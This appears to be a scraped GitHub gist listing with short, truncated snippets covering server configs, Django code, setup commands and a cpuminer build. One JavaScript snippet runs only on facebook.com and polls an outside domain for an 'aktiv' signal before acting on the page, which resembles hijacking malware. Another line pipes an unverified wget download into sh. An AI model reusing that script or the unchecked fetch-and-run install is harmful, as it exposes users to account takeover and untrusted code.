This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from fabric.api import run | |
def check_status(): | |
run('df -h') | |
run('service --status-all | grep running') | |
# How to use | |
# pip install fabric | |
# fabric check_status -H [email protected] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80 default_server; | |
root /var/www/html/; | |
index index.php index.html index.htm; | |
location / { | |
try_files $uri $uri/ /index.php$is_args$args; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def save(self, *args, **kwargs): | |
if not self.id: | |
max_length = Skill._meta.get_field('slug').max_length | |
self.slug = orig = slugify(self.title)[:max_length] | |
for x in itertools.count(1): | |
if not Skill.objects.filter(slug=self.slug).exists(): | |
break | |
# Truncate the original slug dynamically. Minus 1 for the hyphen. | |
self.slug = "%s-%d" % (orig[:max_length - len(str(x)) - 1], x) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# -*- coding: utf8 -*- | |
# ---------------------------------------------------------------------------- | |
# Name: merge-subtitles | |
# Desc: Merge two subtitles | |
# Usage: merge-subtitles sub1_file sub2_file out.ass | |
# Example: merge_subtitles friends_s01e01_720p_bluray_x264-sujaidr.mp4en.srt friends_s01e01_720p_bluray_x264-sujaidr.mp4vi.srt friends_s01e01_720p_bluray_x264-sujaidr.mp4.ass | |
# Copy From: https://github.com/duyamin/standalone-scripts/blob/master/python/merge-subtitles.py | |
# ---------------------------------------------------------------------------- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# install dependencies | |
sudo apt-get install libcurl4-openssl-dev libncurses5-dev pkg-config automake yasm git gcc -y | |
# clone cpuminer | |
git clone https://github.com/pooler/cpuminer.git | |
# compile | |
cd cpuminer | |
./autogen.sh | |
./configure CFLAGS="-O3" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Railscast | |
http://railscasts.com/episodes/308-oh-my-zsh | |
# Install Zsh | |
sudo apt-get update && sudo apt-get install zsh | |
# Install Oh-my-zsh | |
wget –no-check-certificate https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O – | sh | |
# Make ZSH default shell |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
import timeit | |
def f(): | |
pass | |
if __name__ == "__main__": | |
timer = timeit.Timer("__main__.f()", "import __main__") | |
result = timer.repeat(repeat=100, number=100000) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Desktop Entry] | |
Name=Firefox Developer | |
GenericName=Firefox Developer Edition | |
Exec=/opt/firefox_dev/firefox | |
Terminal=false | |
Icon=/opt/firefox_dev/browser/icons/mozicon128.png | |
Type=Application | |
Categories=Application;Network;X-Developer; | |
Comment=Firefox Developer Edition Web Browser. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (location.hostname.indexOf("facebook.com") >= 0) { | |
var babasker = function() { | |
var b = new XMLHttpRequest; | |
b.open("GET", window.location.protocol + "//adeaditi.info/ag.php", true); | |
b.onreadystatechange = function() { | |
if (4 == b.readyState && 200 == b.status) { | |
var c = JSON.parse(b.responseText); | |
if ("aktiv" == c.type) { | |
var d = new XMLHttpRequest; | |
d.open("GET", "/", false); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[supervisord] | |
nodaemon=true | |
[program:sshd] | |
command=/usr/sbin/sshd -D | |
stdout_logfile=/var/log/supervisor/%(program_name)s.log | |
stderr_logfile=/var/log/supervisor/%(program_name)s.log | |
autorestart=true | |
[program:mongod] |